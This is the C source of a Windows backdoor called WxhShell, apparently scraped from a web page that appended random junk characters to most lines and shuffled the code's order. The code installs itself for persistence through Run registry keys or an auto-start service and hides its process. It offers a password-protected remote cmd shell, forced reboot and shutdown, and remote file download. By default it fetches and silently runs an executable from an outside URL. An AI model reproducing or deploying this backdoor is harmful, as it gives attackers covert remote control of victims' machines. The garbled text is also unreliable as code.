    ExitThread(0); +5seT}h  
    } MWp\D#H  
    break; *U5> j#,  
    } p3'mJ3MA  
  // 关机 *]DJAF]  
  case 'd': { XJV3oj   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2Q;Y@%G  
    if(Boot(SHUTDOWN)) Bwi[qw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rVIb'sa  
    else { /s-jR]#VA  
    closesocket(wsh); 5O4&BxQ~}  
    ExitThread(0); q#':aXcv"  
    } LU 5 `!0m  
    break; "|~B};|MFF  
    } EZa{C}NQ$2  
  // 获取shell QL|:(QM  
  case 's': { E|6Z]6[  
    CmdShell(wsh); {?kKpMNNn  
    closesocket(wsh); :@z5& h  
    ExitThread(0); *X =f  
    break; \?Oly171  
  } _tR.RAaa"  
  // 退出 4jZi62  
  case 'x': { jd*%.FDi{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PxCl]~v  
    CloseIt(wsh); 9_CA5?y$:  
    break; 4<K ,w{I  
    } LMhY"/hAXa  
  // 离开 j#.-MfB  
  case 'q': { Duo#WtC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); SS<+fWXE  
    closesocket(wsh); v"?PhO/{=  
    WSACleanup(); QY CNO#*  
    exit(1); s D8xH  
    break; sou$qKoG01  
        } \Lh<E5@]  
  } 9"u @<]  
  } C`K9WJOD  
qjRiTIp9q  
  // 提示信息 I! eSJTN  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H:nu>pz t  
} =B 4gEWR  
  } VAB&&AL  
8aIf{(/k  
  return; 0m| Gp  
} xuH<=-O>ki  
e|+;j}^C  
// shell模块句柄 ,LW%'tQ~"  
int CmdShell(SOCKET sock) E'kQ  
{ z$im4'\c  
STARTUPINFO si; u=UM^C!  
ZeroMemory(&si,sizeof(si)); *fy`JC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {G*:N[pJp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; E0?\DvA  
PROCESS_INFORMATION ProcessInfo; eG)/&zQ8  
char cmdline[]="cmd"; ez<wEt S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %A[p!U  
  return 0; o3[sF  
} cX]{RVZo-/  
Q)|LiCR,  
// 自身启动模式 Wg;TXs/  
int StartFromService(void) $vicHuX!  
{ PQI,vr'R  
typedef struct b42pLbpe'E  
{ N?<@o2{  
  DWORD ExitStatus; 8GAQVe^$-  
  DWORD PebBaseAddress; QvQf@o  
  DWORD AffinityMask; u5)A+.v  
  DWORD BasePriority; `?|]:7'<  
  ULONG UniqueProcessId; M6d w~0e  
  ULONG InheritedFromUniqueProcessId; o>,z %+  
}   PROCESS_BASIC_INFORMATION; {<{G 1y~  
a0j.\g  
PROCNTQSIP NtQueryInformationProcess; eR 2T<7G  
JFk|Uqs(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _q 9lr8hx  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  WD do{  
z# ?w/NE  
  HANDLE             hProcess; (7#lN  
  PROCESS_BASIC_INFORMATION pbi; q^+NhAMz  
~ M>zO#U6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [/,6O  
  if(NULL == hInst ) return 0; Ch!Q?4  
3jdB8a]T_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <cOE6;d#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uV:uXQni``  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7[<sl35  
&,kB7r"  
  if (!NtQueryInformationProcess) return 0; I;4CvoT  
}AfPBfgC1z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #CP, \G  
  if(!hProcess) return 0; `; %aQR  
3\.)y49,1  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3a[(GW _  
i/EiUH/~  
  CloseHandle(hProcess); ik NFW*p  
A,[m=9V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RV*Zi\-X  
if(hProcess==NULL) return 0; PC7.+;1  
MAo,PiYb  
HMODULE hMod; 5GxM?%\  
char procName[255]; 9wJmX<Rm  
unsigned long cbNeeded; v@s`l#  
;{7lc9uRj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @"7dk.|  
hGHzO  
  CloseHandle(hProcess); Llc|j&yHQ  
>f05+%^[  
if(strstr(procName,"services")) return 1; // 以服务启动 pXlBKJmW  
` i^1U O  
  return 0; // 注册表启动 "J:NW_U  
} \$|UFx  
~:b~f]lO  
// 主模块 C$;s+ALy[  
int StartWxhshell(LPSTR lpCmdLine) !VTS $nJ4  
{ H 6<@  
  SOCKET wsl; 5j 01Mx A  
BOOL val=TRUE; |MrH@v7S  
  int port=0; Ntrn("!  
  struct sockaddr_in door; LZ]pyoi  
hQx e0Pdt  
  if(wscfg.ws_autoins) Install(); b!P;xLcb  
J+|V[E<x  
port=atoi(lpCmdLine); -dN;\x  
d~$t{46  
if(port<=0) port=wscfg.ws_port; SLB iQd.  
\> dG'  
  WSADATA data; #,{v Js~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8~+Msn:  
>c>ar>4xF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w%H#>k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G7JZP T  
  door.sin_family = AF_INET; L%s""nP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); bu5)~|?{t  
  door.sin_port = htons(port);  #7"5Y_0-  
] CE2/6Ph  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mW9b~G3k  
closesocket(wsl); 6)j4 TH  
return 1; ^Wz{su2  
} 0].5[Jo  
'Em($A (  
  if(listen(wsl,2) == INVALID_SOCKET) { Di=6.gm[<  
closesocket(wsl); O]!DNN  
return 1; DcDGrRuh  
} 5X-{|r3q  
  Wxhshell(wsl); !]T|=yw  
  WSACleanup(); '(>N gd[  
?`}U|]c  
return 0; t\0JNi$2  
m_f^#:  
} j zp%.4/j  
hlEvL  
// 以NT服务方式启动 5Ozj&Zq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'z5 ;o :T  
{ 2*FZ@?X@r  
DWORD   status = 0; 3=I Q  
  DWORD   specificError = 0xfffffff; C@W0fz  
Ob+c*@KiW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; YI+|6s[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9V!K. _Cb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T^SOq:m&  
  serviceStatus.dwWin32ExitCode     = 0; gE(03SX  
  serviceStatus.dwServiceSpecificExitCode = 0; G;+ 0V0K  
  serviceStatus.dwCheckPoint       = 0; vM8]fSc  
  serviceStatus.dwWaitHint       = 0; /n=/WGl  
}]@ "t)"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jqmP^ZS  
  if (hServiceStatusHandle==0) return; ?yh.*,dgi  
d|lzkY~  
status = GetLastError(); |Dli6KN  
  if (status!=NO_ERROR) LYv2ll`XP  
{ kXRD_B5&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *i90[3l  
    serviceStatus.dwCheckPoint       = 0; ~C+T|  
    serviceStatus.dwWaitHint       = 0; #2iA-5  
    serviceStatus.dwWin32ExitCode     = status; m0YDO 0  
    serviceStatus.dwServiceSpecificExitCode = specificError; sS|5x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $^F2  
    return; SOJHw6  
  } L;<]wKs  
[rem,i+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =*N(8j>y  
  serviceStatus.dwCheckPoint       = 0; <#i'3TUR  
  serviceStatus.dwWaitHint       = 0; F"I@=R-n  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Jr zU-g  
} rv>6k:(  
:PJjy6,1  
// 处理NT服务事件,比如:启动、停止 S5M t?v|K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7IR n  
{ 6A<aelE*i  
switch(fdwControl) ~C3-E %h@Z  
{ K[Kc'6G  
case SERVICE_CONTROL_STOP: MI 3_<[  
  serviceStatus.dwWin32ExitCode = 0; &nn":  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; QBg'VV  
  serviceStatus.dwCheckPoint   = 0; ,P]{*uqGiB  
  serviceStatus.dwWaitHint     = 0; u)ItML  
  { 57rP@,vj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *{Vyt5  
  } C_o.d~xm  
  return; HH+XEMP/g  
case SERVICE_CONTROL_PAUSE: {Gy_QRsp,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; EhoR.  
  break; +`xp+Q  
case SERVICE_CONTROL_CONTINUE: DzMkeX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Zf! 7pM  
  break; nLQJ~("  
case SERVICE_CONTROL_INTERROGATE: .7q#{`K^=  
  break; L;;x%>  
}; ~V4|DN[I  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [aW#7  
} -!" 8j"pA:  
B Xp3u|t  
// 标准应用程序主函数 J2-xnUa]7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8vCHH&`  
{ L'(^[vR(  
D!CGbP(  
// 获取操作系统版本 mj pH)6aD0  
OsIsNt=GetOsVer(); #v1 4"sZ}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,wjL3c  
2 q>4nN  
  // 从命令行安装 dpS  
  if(strpbrk(lpCmdLine,"iI")) Install(); wP'`!O[W  
2]l*{l^ Bl  
  // 下载执行文件 v%r!}s  
if(wscfg.ws_downexe) { f/xBR"'  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #&^+hx|  
  WinExec(wscfg.ws_filenam,SW_HIDE); :Wln$L$  
} =KMck=#B  
3)sqAs(  
if(!OsIsNt) { 9;jfg|x1[  
// 如果时win9x,隐藏进程并且设置为注册表启动 -HOCxR  
HideProc(); Z|.z~53;  
StartWxhshell(lpCmdLine); 1*5n}cU~  
} fw5AZvE6$  
else s<{c?4T  
  if(StartFromService()) "D+QT+sD  
  // 以服务方式启动 +KZc"0?  
  StartServiceCtrlDispatcher(DispatchTable); X~0P+E#  
else {u7E)Fdl  
  // 普通方式启动 }v?{npEOt+  
  StartWxhshell(lpCmdLine); h6#  
c?|/c9f  
return 0; @<P [z[  
} $JOIK9+3z#  
@-wAR=k7  
hd900LA}  
8w$cj'  
=========================================== z&eJ?wb  
jU=)4nx  
drH!?0Dpg  
}I]9I _S  
][.1b@)qV  
3Xy>kG}  
" ZyTah\yPM  
IMBqy-q  
#include <stdio.h> RGcT  
#include <string.h> Q x:+n`$/  
#include <windows.h> XHW{EVcF  
#include <winsock2.h> z-,'W`  
#include <winsvc.h> ' Mg%G(3  
#include <urlmon.h> 3' ^ON  
cWm.']  
#pragma comment (lib, "Ws2_32.lib") ]uP {Sj  
#pragma comment (lib, "urlmon.lib") R1U\/  
iS{)Tll}&  
#define MAX_USER   100 // 最大客户端连接数 3B,nHU  
#define BUF_SOCK   200 // sock buffer uzsR*x%s-  
#define KEY_BUFF   255 // 输入 buffer s;A]GJ  
q.*qZ\;K  
#define REBOOT     0   // 重启 SU*P@?:/}  
#define SHUTDOWN   1   // 关机 nC z[#t  
]M_)f  
#define DEF_PORT   5000 // 监听端口 4;_.|!LN  
Q)v8hNyUmA  
#define REG_LEN     16   // 注册表键长度 sQR;!-j  
#define SVC_LEN     80   // NT服务名长度 ] O 2_&cs  
b{(:'.  
// 从dll定义API Q.nEY6B_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?Hy++  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B]jh$@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r+>9O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1~j.jv$  
c$p1Sovw  
// wxhshell配置信息 9"/{gf3D  
struct WSCFG { H94$Xi"Bd  
  int ws_port;         // 监听端口 9[:nW p^  
  char ws_passstr[REG_LEN]; // 口令 /wmJMX  
  int ws_autoins;       // 安装标记, 1=yes 0=no `toSU>:  
  char ws_regname[REG_LEN]; // 注册表键名 kG%<5QH  
  char ws_svcname[REG_LEN]; // 服务名 4*'NpqC(_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 H~ (I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 " <=^Sm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A:N!H_x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S6cSeRmw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I@.qon2V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KExfa4W 3{  
A1i-QG/6  
}; DRw%~  
6~^+</?  
// default Wxhshell configuration 7%JXVP}A  
struct WSCFG wscfg={DEF_PORT, W0R6<- 1  
    "xuhuanlingzhe", Y~Zg^x2  
    1, ])e6\)  
    "Wxhshell", i`E]gJ$  
    "Wxhshell", F|V?Z  
            "WxhShell Service", 9) wjVk  
    "Wrsky Windows CmdShell Service", rBpr1XKl,  
    "Please Input Your Password: ", )Y)7p//  
  1, ^c+6?  
  "http://www.wrsky.com/wxhshell.exe", guBOR 0x`  
  "Wxhshell.exe" MTr _8tI  
    }; b%AYYk)d?  
X!r!lW  
// 消息定义模块 zm"&8/l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h4sEH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XxV]U{i!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P||u{]vU  
char *msg_ws_ext="\n\rExit."; >GqIpfn  
char *msg_ws_end="\n\rQuit."; 9;.dNdg>  
char *msg_ws_boot="\n\rReboot..."; Ey)ox$  
char *msg_ws_poff="\n\rShutdown..."; !m78/[LW  
char *msg_ws_down="\n\rSave to "; k~Gjfo  
NmK%k jCx  
char *msg_ws_err="\n\rErr!"; 28zt.9  
char *msg_ws_ok="\n\rOK!"; d d8^V_Kx  
5C/u`{4]Hg  
char ExeFile[MAX_PATH]; F YcC2TM  
int nUser = 0; |Y:T3hra61  
HANDLE handles[MAX_USER]; InRn!~_N  
int OsIsNt; yl|+D]  
p_tMl%K  
SERVICE_STATUS       serviceStatus; P^+Og_$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *,mbZE=<  
u{8Wu;  
// 函数声明 H,] D}r  
int Install(void); OG0ro(|dI  
int Uninstall(void); 0M pX.0  
int DownloadFile(char *sURL, SOCKET wsh); 60-LpGhvy  
int Boot(int flag); * _U z**M  
void HideProc(void); QD7>S(p  
int GetOsVer(void); uI.4zbgl[  
int Wxhshell(SOCKET wsl); QiY7m<3  
void TalkWithClient(void *cs); tBdvk>d  
int CmdShell(SOCKET sock); erqg|TsFj  
int StartFromService(void); "x&H*"  
int StartWxhshell(LPSTR lpCmdLine); M=@U]1n*c  
==Ju2D?%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yv,90+k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,X+071.(  
c~@I1M  
// 数据结构和表定义 U.d*E/OR5  
SERVICE_TABLE_ENTRY DispatchTable[] = lkBab$S)  
{ O`H[,+vm[  
{wscfg.ws_svcname, NTServiceMain}, 350y6pVh  
{NULL, NULL} DtyT8kr  
}; h1J-AfV  
.3oFSc`q  
// 自我安装 jUdW o}/  
int Install(void) & 9IMZAo  
{ BYP,}yzA  
  char svExeFile[MAX_PATH]; tlG&PVvr  
  HKEY key; ;v#~ o*  
  strcpy(svExeFile,ExeFile); f H}`  
m&b!\"0  
// 如果是win9x系统,修改注册表设为自启动 .b5B7 x}  
if(!OsIsNt) { d7P| x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n8J';F =P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o KX!{  
  RegCloseKey(key); wN"irXG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K@%.T#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6<FJ`l]U9  
  RegCloseKey(key); E9QNx6 2  
  return 0; 7vgz=- MZ#  
    } dEns|r  
  } =OTwP  
} }4\>q$8'  
else { X=_N7!  
Fpl<2eBg4  
// 如果是NT以上系统,安装为系统服务 ,c}Q;eYc3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `<q{8  
if (schSCManager!=0) fytgS(?I'  
{ (~,Q-w"  
  SC_HANDLE schService = CreateService r's4-\  
  ( 7RTp+FC]  
  schSCManager, dAohj QH:  
  wscfg.ws_svcname, ( 8k3z`  
  wscfg.ws_svcdisp, >lN{FJ  
  SERVICE_ALL_ACCESS, r!#NFek}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Qq^>7OU>Co  
  SERVICE_AUTO_START, m`E8gVC  
  SERVICE_ERROR_NORMAL, TE^BfAw@  
  svExeFile, Uo5l =\  
  NULL, b'uH4[zX%  
  NULL, kQwBrb 4  
  NULL, EVrOu""  
  NULL, =@&]PYv  
  NULL o=4d2V%m  
  ); ,]1K^UeZ  
  if (schService!=0) !dStl:B  
  { 3x.|g   
  CloseServiceHandle(schService); V1;n5YL  
  CloseServiceHandle(schSCManager); a{,EX[~b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); EivZI<<a  
  strcat(svExeFile,wscfg.ws_svcname); jja9:$#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =)(sN"%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); og!Uq]U/y  
  RegCloseKey(key); \"5%w *vl  
  return 0; _D[vMr[  
    } {BDp`uZ  
  } d|w% F=  
  CloseServiceHandle(schSCManager); T'0Ot3m`  
} "~N#Jqzr:  
} @va)j   
x}].lTjD  
return 1; q/<.^X  
} hyVuZ\9B  
f4CwyL6ur  
// 自我卸载 'C!b($Y  
int Uninstall(void) 0=yKE J  
{ 3Q Zw  
  HKEY key; $yI!YX&  
; Rt?&&W  
if(!OsIsNt) { Skq%S`1%Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ri"3o  
  RegDeleteValue(key,wscfg.ws_regname); z9u"?vdA  
  RegCloseKey(key); XM>ByfD{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X#Ajt/XQ  
  RegDeleteValue(key,wscfg.ws_regname); sq\oatMw[  
  RegCloseKey(key); ;HgV(d#X  
  return 0; O.  V!L  
  } O5LB&s   
} ie=tM'fb  
} iw12x:  
else { 7P.C~,+D%P  
YSs9BF:a  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l X;2~iW{/  
if (schSCManager!=0) Nq"/:3@4  
{ X-e)w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W{?7Pn?1`  
  if (schService!=0) *R0Ae 4  
  { 8 U B?X  
  if(DeleteService(schService)!=0) { =VH, i/@  
  CloseServiceHandle(schService); 9Psy$  
  CloseServiceHandle(schSCManager); m+s^K{k}  
  return 0; $ GL$ iA  
  } KaZ$!JfT  
  CloseServiceHandle(schService); 3z!\Z[  
  } BJ@tU n  
  CloseServiceHandle(schSCManager); w`UB_h#Bl  
} 8m2-fuJz  
} =ugxPgn  
RL[?&L$7^%  
return 1; a)`b;]+9  
} 0' @^PzX  
~ubGx  
// 从指定url下载文件 )R<hYd  
int DownloadFile(char *sURL, SOCKET wsh) gV9 1=Pj  
{ >s1'I:8  
  HRESULT hr; bN8GRK )  
char seps[]= "/"; kViX FPW  
char *token; CZS{^6Ye  
char *file; Q!(C$&f  
char myURL[MAX_PATH]; ,9`sC8w|  
char myFILE[MAX_PATH]; > 't=r  
fj[B,ua  
strcpy(myURL,sURL); 3BDAvdJ4.  
  token=strtok(myURL,seps); {r#2X1  
  while(token!=NULL) hp@g iu7  
  { NgaX&m`  
    file=token; H B_si  
  token=strtok(NULL,seps); f|cd_?|  
  } .|NF8Fj  
%J!+f-:=  
GetCurrentDirectory(MAX_PATH,myFILE); f.!)O@HzH  
strcat(myFILE, "\\"); Rq%g5lK  
strcat(myFILE, file); ?PO~$dUc]  
  send(wsh,myFILE,strlen(myFILE),0); +FP*RNM  
send(wsh,"...",3,0); k^}8=,j}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XnHcU=~q  
  if(hr==S_OK) \`-/\N  
return 0; >sv|  
else -%I]Q9  
return 1; (A}##h  
;3s_#L  
} L 5J=+k,  
=cs;avtL  
// 系统电源模块 )Fe-C  
int Boot(int flag) Eb7qM.Q] &  
{ l4I@6@  
  HANDLE hToken; ZTfs&5  
  TOKEN_PRIVILEGES tkp; D0Oh,Fe#M\  
<(TTYf8lS  
  if(OsIsNt) { y ]xG@;4M  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :[3{-.c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0C#1/o)o  
    tkp.PrivilegeCount = 1; GU8b_~Gk?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rZ/,^[T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WoHFt*e2  
if(flag==REBOOT) { {0+gPTp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,Drd s"H  
  return 0; )cNG)F  
} N|EH`eu^i  
else { "gADHt=MIR  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qPK3"fzH  
  return 0; _%Sorr  
} C\Qor3];  
  } AB'q!7NR  
  else { >wS52ng  
if(flag==REBOOT) { ~@S5*(&8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y TfAS .  
  return 0; XO~xbG7>gZ  
} gQ %'2m+  
else { I2hX;pk,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "Sz pFw  
  return 0; wXIsc;  
} 6TvlK*<r=  
} ?vuM'UH-  
WX&Man!f  
return 1; WHk/Rg%<  
} oM/(&"  
=/&ob%J)9]  
// win9x进程隐藏模块 4# MvOjA5[  
void HideProc(void) dVmI.A'nbp  
{ PsU.dv[  
POwJhT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <cW$ \P}hV  
  if ( hKernel != NULL ) Va/LMw  
  { T>2)YOx  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); RbKAB8  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Gnop  
    FreeLibrary(hKernel); ^o}!=aMr  
  } /PH+K24v~  
SUsD)!u_H  
return; s,XKl5'+8e  
} pV]m6! y&  
3YVG|Bc~_  
// 获取操作系统版本 n0q5|ES  
int GetOsVer(void) r e.chQ6  
{ Nlemb:'eP3  
  OSVERSIONINFO winfo; 3 &.?9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mE^mQ [Dk  
  GetVersionEx(&winfo); ?W-J2tgss{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [0U!Y/?6lA  
  return 1; ;A7HEx  
  else Ymkk"y.w  
  return 0; <yz)iCU?  
} hG .>>  
xjB2?:/2  
// 客户端句柄模块 [ &RZ&  
int Wxhshell(SOCKET wsl) ESp)%  
{ /_ }xTP"9  
  SOCKET wsh; GzxtC  &  
  struct sockaddr_in client; [ R1S+i  
  DWORD myID; -f IX6  
t"k6wv;Tq  
  while(nUser<MAX_USER) z6 2gF|Uj  
{ F#>?i}  
  int nSize=sizeof(client); ig:,:KN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); A ^@:Ps  
  if(wsh==INVALID_SOCKET) return 1; nQ 2V  
9r=@S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ikf!7-,  
if(handles[nUser]==0) W8+Daw1Nr  
  closesocket(wsh); ,=whwl "tA  
else sJo]$/?F  
  nUser++; ,Q!sns[T  
  } k0~mK7k  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &0Yv*,4]  
]vj=M-:+  
  return 0; NKf][!bi  
} 6KC.l}Y*  
a<9gD,]P  
// 关闭 socket awLN>KI]</  
void CloseIt(SOCKET wsh) :%cL(',Q  
{ Y^$^B,  
closesocket(wsh); )u?pqFH  
nUser--;  w=5D>]  
ExitThread(0); ovJ#2_  
} m"*j J.MX  
|fnP@k  
// 客户端请求句柄 g((glr)6M  
void TalkWithClient(void *cs) M&o@~z0  
{ aZEi|\VU  
"Opk:;.  
  SOCKET wsh=(SOCKET)cs; OZ<iP  
  char pwd[SVC_LEN]; vHSX3\(  
  char cmd[KEY_BUFF]; fWiefv[&  
char chr[1]; C9>tj=yEY  
int i,j; Mqc"  
AB<|iJC  
  while (nUser < MAX_USER) { ?Iy$'am]L  
_ #]uk&5a  
if(wscfg.ws_passstr) { ^*(*tS|M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A.tONPi  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j]th6  
  //ZeroMemory(pwd,KEY_BUFF); VL= .JwK  
      i=0; ;1PnbU b  
  while(i<SVC_LEN) { _V\rs{ 5  
#T:#!MKa  
  // 设置超时 Y^DS~CrM  
  fd_set FdRead; Si#I^aF`%  
  struct timeval TimeOut; (8DJf"}  
  FD_ZERO(&FdRead); FG]xn(E  
  FD_SET(wsh,&FdRead); a_Y*pOu  
  TimeOut.tv_sec=8; dU%Q=r8R  
  TimeOut.tv_usec=0; ?oF+?l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); EfHo1Yn&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EUH&"8 L  
^_W+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DZo7T!  
  pwd=chr[0]; 0gdFXh$!e  
  if(chr[0]==0xd || chr[0]==0xa) { (XW\4msB)I  
  pwd=0; h?E[28QB  
  break; Gq%q x4  
  } 3\_ae2GW  
  i++; T(t@[U2^  
    } B1dVHz#  
7x` dEi<  
  // 如果是非法用户,关闭 socket T\7z87Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w@w(AFV9/  
} i}teY{pyc  
|hBX"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KW.*LoO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v5 STe`  
R~OameRR  
while(1) { q SR\=:$  
-4ityS @  
  ZeroMemory(cmd,KEY_BUFF); ^uB9EP*P  
j\l9|vpp  
      // 自动支持客户端 telnet标准   IB9[Lx  
  j=0; ~\_aT2j0  
  while(j<KEY_BUFF) { cojtQ D6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7PQ03dtfg  
  cmd[j]=chr[0]; 9gP-//L@  
  if(chr[0]==0xa || chr[0]==0xd) { +>3XJlZV  
  cmd[j]=0; |iN!V3#S  
  break; hTgWqp  
  } PwP;+R};|  
  j++; Y_m/? [:  
    } A&EVzmj-+X  
Cm@e^l!  
  // 下载文件 z}I=:  
  if(strstr(cmd,"http://")) { $:IOoS|e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~ [L4,q  
  if(DownloadFile(cmd,wsh)) _BGw)Z 6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `x=W)o }  
  else zbQ-l1E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $="t7C9S  
  } 0>@D{_}s  
  else { h| q!Qsnj'  
w`_cmI  
